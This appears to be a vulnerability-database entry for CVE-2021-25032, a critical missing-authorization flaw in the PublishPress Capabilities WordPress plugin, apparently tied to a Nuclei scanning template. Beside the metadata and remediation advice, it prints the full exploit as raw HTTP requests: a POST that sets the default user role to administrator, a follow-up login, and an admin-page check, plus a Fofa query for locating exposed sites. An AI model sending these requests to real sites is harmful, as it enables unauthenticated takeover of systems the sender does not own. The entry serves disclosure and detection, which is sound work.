| Title | PublishPress Capabilities < 2.3.1 - Missing Authorization |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can update arbitrary WordPress options including setting the default user role to administrator, leading to complete site compromise through privilege escalation. |
| Remediation | Update the PublishPress Capabilities plugin to version 2.3.1 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.81889 |
| CVE ID | CVE-2021-25032 |
| CWE ID | CWE-352 |
| Fofa Query | body="/wp-content/plugins/capability-manager-enhanced" |
| Tags | wpscan cve cve2021 wordpress wp-plugin wp capability-manager-enhanced authenticated vkev vuln |
The PublishPress Capabilities plugin for WordPress before 2.3.1 does not have proper authorization and CSRF checks when updating settings via the init hook, allowing unauthenticated attackers to update arbitrary blog options, such as setting the default role to administrator.
POST /wp-admin/admin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Content-Length: 81
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
page=pp-capabilities-settings&all_options=default_role&default_role=administrator
POST /wp-login.php?redirect_to=http%3A%2F%2Fwww.victim.com%2Fwp-admin%2Foptions-general.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=gTRNSo&pwd=ktjE7N&wp-submit=Log+In
GET /wp-admin/admin.php?page=pp-capabilities HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25032.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25032.pcap
N/AN/A